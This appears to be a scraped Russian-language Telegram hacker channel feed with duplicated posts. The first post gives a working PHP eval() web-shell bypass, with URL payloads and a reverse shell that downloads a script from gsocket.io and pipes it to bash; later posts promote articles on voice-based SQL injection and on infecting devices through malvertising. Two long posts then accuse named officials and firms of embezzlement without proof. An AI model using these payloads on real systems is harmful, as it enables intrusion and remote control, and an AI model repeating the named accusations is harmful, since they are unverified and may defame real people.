Если у кого-то есть хостинг серверов, которые не блочат - напишите, нексус отпал 😆
Из интересного:
Дано: веб приложение с eval($cmd); почти все пхп функции отключены (system, passthru, exec, shell_exec). evalsploit не помогает
Решение:
Получаем пхпинфо и смотрим какие функции отключены.
Далее получаем список доступных функций:
В данном веб приложении была обнаружена функция "popen", выполняем whoami
Выбираем реверс шелл, в данном случае я использовал gsocket
Профит (скрины в комменты закину)
Дано: веб приложение с eval($cmd); почти все пхп функции отключены (system, passthru, exec, shell_exec). evalsploit не помогает
Решение:
Получаем пхпинфо и смотрим какие функции отключены.
shell.php?cmd=phpinfo();
Далее получаем список доступных функций:
shell.php?cmd=print_r(get_defined_functions());
В данном веб приложении была обнаружена функция "popen", выполняем whoami
shell.php?cmd=$h=popen(%27whoami%27,%27r%27);echo%20fread($h,4096);pclose($h);
Выбираем реверс шелл, в данном случае я использовал gsocket
eval('
$cmd = file_get_contents("http://gsocket.io/y");
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("bash -c \"$cmd\"", $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo $output;
}
');Профит (скрины в комменты закину)
❤4👍4
Написал небольшую статью, по не сильно популярной (на данный момент) технике sql injection.
Скриншоты и описание были сделаны под тестовую среду, но побудило меня разобраться и сделать этот пост реальный кейс, который к сожалению на данный момент я не могу разглашать.
https://telegra.ph/Voice-Based-SQL-Injection-03-07
P.S вкратце кейс был такой: была строка поиска и был голосовой ввод, если пишешь ковычку - то всё норм, если говоришь её типа quote, то он sql лог вываливал
Скриншоты и описание были сделаны под тестовую среду, но побудило меня разобраться и сделать этот пост реальный кейс, который к сожалению на данный момент я не могу разглашать.
https://telegra.ph/Voice-Based-SQL-Injection-03-07
P.S вкратце кейс был такой: была строка поиска и был голосовой ввод, если пишешь ковычку - то всё норм, если говоришь её типа quote, то он sql лог вываливал
Telegraph
Voice-Based SQL Injection
На днях обнаружил интересную фичу, и решил немного описать принцип работы, постараюсь описать максимально обезличено, чтобы не было понятно какой продукт был (или до сих пор) уязвим к данной технике. 1. Введение С развитием голосовых интерфейсов и голосовых…
👍6
Наш чатик "хацкеров" был заблокирован (непонятно за что, саппорт так и не ответил), поэтому новый открыт, для тех кто потерял "Hiddmond" - заходите https://t.me/hiddmond0
image_2025-03-26_22-10-36.png
77.6 KB
Эм, господа из ФБР, вы могли мне просто на почту или в тг написать... 😆
😁1
Небольшая статья про Malvertising, всё сказанное выдумано, все совпадения случайны
https://telegra.ph/Malvertising-ili-Kak-zarazit-80-000-ustrojstv-cherez-reklamu-06-09
https://telegra.ph/Malvertising-ili-Kak-zarazit-80-000-ustrojstv-cherez-reklamu-06-09
❤4👍1🤯1
#Расследование #газпром #Троицк #часть1
Как отмываются миллионы рублей на строительных работах
В течение последних месяцев мною ведётся тщательное изучение деятельности филиала ПАО «ОГК-2» в городе Троицке (Челябинская область). В результате анализа внутренних документов, смет, актов выполненных работ и наглядных фото с объектов, выявлены признаки масштабного хищения бюджетных средств и злоупотреблений служебным положением.
Фигуранты: Селивёрстов, Птичкин и не только
Изначально подозрения вызывали действия двух должностных лиц — Селивёрстова и Птичкина, однако в процессе изучения документов выяснилось, что круг вовлечённых лиц шире. Более того, за время своей работы в Троицке Селивёрстов, по имеющимся сведениям, приобрёл коттедж, автомобиль и получил наличными несколько миллионов рублей. Это особенно подозрительно, учитывая его официальную зарплату.
Схема: завышение стоимости работ в 10 раз и «освоение» средств
Ключевая схема — завышение стоимости строительных и монтажных работ (СМР), а также оборудования в разы выше рыночной. Пример — строительство бетонных укрытий. Согласно расчётам:
Фактическая себестоимость одного укрытия: 350 000 руб.
Стоимость по договору: 3 360 000 руб.
Разница: 3 010 000 руб. с одного укрытия
Всего таких укрытий — 8
→ Общая «дополнительная маржа» составила 24 080 000 руб.
Эти расчёты подтверждаются сметами, актами КС-2 и справками КС-3, подписанными руководством филиала и подрядчиком ООО «НПП "АИМ"».
Подрядчик — аффилированная компания?
Подрядчиком выступает ООО «НПП "АИМ"» (г. Москва), что уже вызывает вопросы: почему московская компания привлекается для несложных бетонных работ в Челябинской области? Признаки аффилированности или фиктивности подрядной схемы налицо.
Документальное подтверждение
В моём распоряжении:
Акты приёмки выполненных работ и справки о стоимости затрат (КС-2 и КС-3);
Сметные документы и сопроводительное письмо от подрядчика;
Фотофакты с территории Троицкой ГРЭС, подтверждающие реальные объёмы и стоимость работ;
Расчётная таблица по фактической себестоимости и завышенным суммам по контракту.
Заключение
Все вышеперечисленные данные свидетельствуют о систематическом отмывании средств через завышенные подрядные работы и фиктивные схемы. Учитывая суммы, речь идёт о многомиллионных хищениях.
Настоящее сообщение — часть готовящегося пакета документов, который в ближайшие месяцы будет направлен в ОБЭП и иные надзорные органы. Надеюсь на всестороннюю проверку и объективную оценку ситуации компетентными органами.
Как отмываются миллионы рублей на строительных работах
В течение последних месяцев мною ведётся тщательное изучение деятельности филиала ПАО «ОГК-2» в городе Троицке (Челябинская область). В результате анализа внутренних документов, смет, актов выполненных работ и наглядных фото с объектов, выявлены признаки масштабного хищения бюджетных средств и злоупотреблений служебным положением.
Фигуранты: Селивёрстов, Птичкин и не только
Изначально подозрения вызывали действия двух должностных лиц — Селивёрстова и Птичкина, однако в процессе изучения документов выяснилось, что круг вовлечённых лиц шире. Более того, за время своей работы в Троицке Селивёрстов, по имеющимся сведениям, приобрёл коттедж, автомобиль и получил наличными несколько миллионов рублей. Это особенно подозрительно, учитывая его официальную зарплату.
Схема: завышение стоимости работ в 10 раз и «освоение» средств
Ключевая схема — завышение стоимости строительных и монтажных работ (СМР), а также оборудования в разы выше рыночной. Пример — строительство бетонных укрытий. Согласно расчётам:
Фактическая себестоимость одного укрытия: 350 000 руб.
Стоимость по договору: 3 360 000 руб.
Разница: 3 010 000 руб. с одного укрытия
Всего таких укрытий — 8
→ Общая «дополнительная маржа» составила 24 080 000 руб.
Эти расчёты подтверждаются сметами, актами КС-2 и справками КС-3, подписанными руководством филиала и подрядчиком ООО «НПП "АИМ"».
Подрядчик — аффилированная компания?
Подрядчиком выступает ООО «НПП "АИМ"» (г. Москва), что уже вызывает вопросы: почему московская компания привлекается для несложных бетонных работ в Челябинской области? Признаки аффилированности или фиктивности подрядной схемы налицо.
Документальное подтверждение
В моём распоряжении:
Акты приёмки выполненных работ и справки о стоимости затрат (КС-2 и КС-3);
Сметные документы и сопроводительное письмо от подрядчика;
Фотофакты с территории Троицкой ГРЭС, подтверждающие реальные объёмы и стоимость работ;
Расчётная таблица по фактической себестоимости и завышенным суммам по контракту.
Заключение
Все вышеперечисленные данные свидетельствуют о систематическом отмывании средств через завышенные подрядные работы и фиктивные схемы. Учитывая суммы, речь идёт о многомиллионных хищениях.
Настоящее сообщение — часть готовящегося пакета документов, который в ближайшие месяцы будет направлен в ОБЭП и иные надзорные органы. Надеюсь на всестороннюю проверку и объективную оценку ситуации компетентными органами.
👍3🤯2❤1
#газпром #Троицк #часть2
Разоблачение: как через ОГК-2 выводятся сотни миллионов рублей
🔍 В наше распоряжение попали документы, касающиеся контрактов ПАО «ОГК-2» (Вторая генерирующая компания оптового рынка электроэнергии) в филиале г. Троицк. Это сканы договоров, приложений, технических заданий, а также внутренней переписки и актов выполненных работ.
💰 Общая сумма одного лишь договора №22-11/24-200 — 142 083 679,50 рублей без НДС, итоговая сумма с НДС — 170 500 415 рублей.
📄 Документы включают:
Договор на выполнение комплекса работ (дата начала: май 2024, завершение: апрель 2026);
Приложения с техническим заданием, сметой и графиками;
Акты согласования субподрядчиков;
Уведомления о коммерческой тайне;
Подписи и печати всех сторон, включая доверенности.
📌 Ключевые фигуранты:
Подрядчик: ООО «Кордань»;
Заказчик: ПАО «ОГК-2» (Троицкая ГРЭС);
Генеральный директор «Кордань»: Динчук Сергей Александрович;
От имени «ОГК-2» действует Селивёрстов С.А., подписывающий ряд внутренних распоряжений.
❗️ Что вызывает вопросы:
Формальный характер работ — в договоре указано, что «всё выполняется на свой страх и риск», а в акте №3 не указано, какие именно виды работ были выполнены. Подрядчик сам себя проверяет и подписывает акты.
Подписание договора обеими сторонами одними и теми же лицами — Динчук С.А. и Селивёрстов С.А. участвуют в обеих организациях (или действуют по доверенности без контроля).
ООО «Кордань» фигурирует сразу в нескольких подрядных документах с «ОГК-2» — указывается как основной подрядчик и автор технической документации. Однако, никаких подтверждённых работ по этим объектам в публичных источниках нет.
Договоры носят характер отвлечения средств:
В приложении №1 прописаны поставки и монтаж оборудования, но без указания моделей, заводов-изготовителей и смет;
В приложении №8 («Коммерческая тайна») указано, что любые данные о стоимости и объёмах работ не подлежат разглашению.
Субподрядчики согласовываются без конкурса, через уведомления (приложение №12), что противоречит закону №44-ФЗ при расходовании средств госпредприятий.
Условия оплаты:
По пункту 1.6 договора «предусмотрена авансовая выплата до 10% от общей суммы в течение 10 дней с момента подписания»;
Сроки исполнения — 24 месяца, без штрафов за просрочку, если стороны подписывают акт о переносе сроков.
📌 Как выглядит схема?
➡️ 1. Заключается договор на крупную сумму (пример: договор №22-11/24-200 на 170,5 млн).
➡️ 2. Подрядчиком выступает ООО «Кордань», зарегистрированное в Санкт-Петербурге, но деятельность ведёт в Челябинской области.
➡️ 3. В договорах отсутствуют конкретные технические детали: модели оборудования, производителей, заводы-поставщики.
➡️ 4. Внутри документов (приложения 2, 4 и 7) прописано, что качество оценивается самим подрядчиком, а заказчик освобождён от проверок.
➡️ 5. Через согласование фиктивных субподрядчиков и актов формируется «выполненная работа».
➡️ 6. Авансы и последующие платежи уходят на счета ООО «Кордань» и аффилированных компаний, без реального исполнения.
🧾 Из отдельных строк актов:
«...стоимость работ по договору составляет 142 083 679,50 руб. без учёта НДС… все условия выполнены… исполнитель подтверждает отсутствие претензий». — Акт сдачи №3
«...выполняется на свой страх и риск, заказчик не несёт ответственности за технические и экономические последствия». — Приложение №4
🆕 Новый факт:
Также стало известно, что в 2025 году заключён ещё один договор под номером №113 на сумму 90 млн рублей, при этом реальная стоимость выполненных работ составляет всего 3 млн рублей. По свидетельству очевидца, начальник ОТПиР Кинерейш Сергей Андреевич и директор Троицкой ГРЭС Аблулгазизов Руслан Сергеевич отказались давать комментарии и заявили буквально: «Это не ваше дело, пусть отмывает. Идите работайте».
📉 Итог: документы и сообщения указывают на типичную схему по обналичиванию и выводу бюджетных средств через фиктивные подрядные работы, с использованием аффилированных лиц, заранее подписанных актов и формальных согласований.
⚠️ Ущерб бюджету — более 170 млн рублей только по одному договору. По второму (№113) — минимум 87
Разоблачение: как через ОГК-2 выводятся сотни миллионов рублей
🔍 В наше распоряжение попали документы, касающиеся контрактов ПАО «ОГК-2» (Вторая генерирующая компания оптового рынка электроэнергии) в филиале г. Троицк. Это сканы договоров, приложений, технических заданий, а также внутренней переписки и актов выполненных работ.
💰 Общая сумма одного лишь договора №22-11/24-200 — 142 083 679,50 рублей без НДС, итоговая сумма с НДС — 170 500 415 рублей.
📄 Документы включают:
Договор на выполнение комплекса работ (дата начала: май 2024, завершение: апрель 2026);
Приложения с техническим заданием, сметой и графиками;
Акты согласования субподрядчиков;
Уведомления о коммерческой тайне;
Подписи и печати всех сторон, включая доверенности.
📌 Ключевые фигуранты:
Подрядчик: ООО «Кордань»;
Заказчик: ПАО «ОГК-2» (Троицкая ГРЭС);
Генеральный директор «Кордань»: Динчук Сергей Александрович;
От имени «ОГК-2» действует Селивёрстов С.А., подписывающий ряд внутренних распоряжений.
❗️ Что вызывает вопросы:
Формальный характер работ — в договоре указано, что «всё выполняется на свой страх и риск», а в акте №3 не указано, какие именно виды работ были выполнены. Подрядчик сам себя проверяет и подписывает акты.
Подписание договора обеими сторонами одними и теми же лицами — Динчук С.А. и Селивёрстов С.А. участвуют в обеих организациях (или действуют по доверенности без контроля).
ООО «Кордань» фигурирует сразу в нескольких подрядных документах с «ОГК-2» — указывается как основной подрядчик и автор технической документации. Однако, никаких подтверждённых работ по этим объектам в публичных источниках нет.
Договоры носят характер отвлечения средств:
В приложении №1 прописаны поставки и монтаж оборудования, но без указания моделей, заводов-изготовителей и смет;
В приложении №8 («Коммерческая тайна») указано, что любые данные о стоимости и объёмах работ не подлежат разглашению.
Субподрядчики согласовываются без конкурса, через уведомления (приложение №12), что противоречит закону №44-ФЗ при расходовании средств госпредприятий.
Условия оплаты:
По пункту 1.6 договора «предусмотрена авансовая выплата до 10% от общей суммы в течение 10 дней с момента подписания»;
Сроки исполнения — 24 месяца, без штрафов за просрочку, если стороны подписывают акт о переносе сроков.
📌 Как выглядит схема?
➡️ 1. Заключается договор на крупную сумму (пример: договор №22-11/24-200 на 170,5 млн).
➡️ 2. Подрядчиком выступает ООО «Кордань», зарегистрированное в Санкт-Петербурге, но деятельность ведёт в Челябинской области.
➡️ 3. В договорах отсутствуют конкретные технические детали: модели оборудования, производителей, заводы-поставщики.
➡️ 4. Внутри документов (приложения 2, 4 и 7) прописано, что качество оценивается самим подрядчиком, а заказчик освобождён от проверок.
➡️ 5. Через согласование фиктивных субподрядчиков и актов формируется «выполненная работа».
➡️ 6. Авансы и последующие платежи уходят на счета ООО «Кордань» и аффилированных компаний, без реального исполнения.
🧾 Из отдельных строк актов:
«...стоимость работ по договору составляет 142 083 679,50 руб. без учёта НДС… все условия выполнены… исполнитель подтверждает отсутствие претензий». — Акт сдачи №3
«...выполняется на свой страх и риск, заказчик не несёт ответственности за технические и экономические последствия». — Приложение №4
🆕 Новый факт:
Также стало известно, что в 2025 году заключён ещё один договор под номером №113 на сумму 90 млн рублей, при этом реальная стоимость выполненных работ составляет всего 3 млн рублей. По свидетельству очевидца, начальник ОТПиР Кинерейш Сергей Андреевич и директор Троицкой ГРЭС Аблулгазизов Руслан Сергеевич отказались давать комментарии и заявили буквально: «Это не ваше дело, пусть отмывает. Идите работайте».
📉 Итог: документы и сообщения указывают на типичную схему по обналичиванию и выводу бюджетных средств через фиктивные подрядные работы, с использованием аффилированных лиц, заранее подписанных актов и формальных согласований.
⚠️ Ущерб бюджету — более 170 млн рублей только по одному договору. По второму (№113) — минимум 87
👍2